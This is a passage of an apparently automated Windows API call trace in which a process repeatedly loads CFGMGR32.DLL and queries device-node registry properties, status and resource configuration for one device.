0x7ffa786de8a0 [0222.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.546] malloc (_Size=0x18) returned 0x196ef0d1b60 [0222.546] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.549] malloc (_Size=0x48) returned 0x196ef0fc170 [0222.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65801cd7, dwHighDateTime=0x1d9eb0c)) [0222.550] SetEvent (hEvent=0x248) returned 1 [0222.553] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.553] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.556] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.556] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0222.556] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.556] malloc (_Size=0x48) returned 0x196ef0fb360 [0222.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65827ebe, dwHighDateTime=0x1d9eb0c)) [0222.556] SetEvent (hEvent=0x248) returned 1 [0222.559] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.559] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.562] malloc (_Size=0x18) returned 0x196ef0d1c80 [0222.562] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.563] malloc (_Size=0x48) returned 0x196ef0fbe50 [0222.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65827ebe, dwHighDateTime=0x1d9eb0c)) [0222.563] SetEvent (hEvent=0x248) returned 1 [0222.650] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.650] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.652] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.652] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.652] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.652] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.652] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.652] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.654] malloc (_Size=0x18) returned 0x196ef0d2080 [0222.654] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0222.654] malloc (_Size=0x48) returned 0x196ef0fb900 [0222.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6590cd37, dwHighDateTime=0x1d9eb0c)) [0222.654] SetEvent (hEvent=0x248) returned 1 [0222.660] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.660] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.664] malloc (_Size=0x18) returned 0x196ef0d19c0 [0222.664] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.667] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0222.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6593345d, dwHighDateTime=0x1d9eb0c)) [0222.667] SetEvent (hEvent=0x248) returned 1 [0222.671] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.671] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.675] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0222.675] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1c, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0222.675] malloc (_Size=0x48) returned 0x196ef0fc120 [0222.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6593345d, dwHighDateTime=0x1d9eb0c)) [0222.675] SetEvent (hEvent=0x248) returned 1 [0222.681] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.681] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.685] malloc (_Size=0x18) returned 0x196ef0d1960 [0222.685] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1c, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0222.686] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0222.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6595fc7e, dwHighDateTime=0x1d9eb0c)) [0222.686] SetEvent (hEvent=0x248) returned 1 [0222.689] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.689] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.787] malloc (_Size=0x18) returned 0x196ef0d1e20 [0222.788] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0222.788] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0222.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65a64190, dwHighDateTime=0x1d9eb0c)) [0222.788] SetEvent (hEvent=0x248) returned 1 [0222.794] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.794] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 